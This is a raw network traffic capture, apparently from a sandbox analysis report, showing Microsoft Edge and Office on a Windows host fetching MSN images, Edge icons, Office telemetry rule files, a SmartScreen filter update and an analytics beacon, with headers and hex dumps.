2024-11-16 12:01:39 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49878	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:39 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=176718 Expires: Mon, 18 Nov 2024 13:06:57 GMT Date: Sat, 16 Nov 2024 12:01:39 GMT Connection: close
2024-11-16 12:01:39 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49879	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:39 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 07:55:37 GMT X-Source-Length: 3765 X-Datacenter: northeu X-ActivityId: a02c37a4-2bd7-4056-aa62-a9ddb69c33bb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=330826 Expires: Wed, 20 Nov 2024 07:55:25 GMT Date: Sat, 16 Nov 2024 12:01:39 GMT Connection: close
2024-11-16 12:01:39 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fb6e6a34-d01e-0017-6788-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120139Z-164f84587bfdfkt7hC1DFW4fas00000000tg00000000577u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 840ef35f-001e-000b-44a8-3615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120139Z-16547b76f7fbkfmzhC1DFWm9tw000000028g00000000egbt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:39 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120139Z-16547b76f7f775p5hC1DFWzdvn0000000peg00000000ffk4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 241b158f-001e-0082-2e2a-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120139Z-164f84587bfdt5l2hC1DFW88gs000000015g0000000023ku x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 49ec1b2f-d01e-00ad-3aaf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120139Z-16547b76f7f7scqbhC1DFW0m5w0000000pf00000000065xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:39 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49887	4.153.29.52	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoibkl1VHMwWXVCQkpnY2VrU3BRM3dRUT09IiwgImhhc2giOiJWR3dYRmhaNlVZdz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-16 12:01:39 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-16 12:01:39 UTC	248	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-16 12:01:39 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49888	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:39 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: f596a16f-501e-005d-3318-379803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120139Z-16547b76f7f9bs6dhC1DFWt3rg0000000ppg000000001a2w Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:39 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49889	108.156.211.19	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	1012	OUT	GET /b2?rn=1731758497078&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=19EE44C5987468FE3EE351FC992369A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=121b5d65723694ace3167dc1731758498; XID=121b5d65723694ace3167dc1731758498
2024-11-16 12:01:39 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 16 Nov 2024 12:01:39 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 8272af25403041359b9c661ed1264ac6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: Us3K2fQ9Mi6KXK1r_Cq134HOL_Tem1U-72MmY8poQV0eIJBiZpxY2w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49891	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: e64904fa-f01e-0014-7ca6-37ab63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120139Z-1866b5c5fbbzzh8chC1DFWdrc400000002ag00000000bzeg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
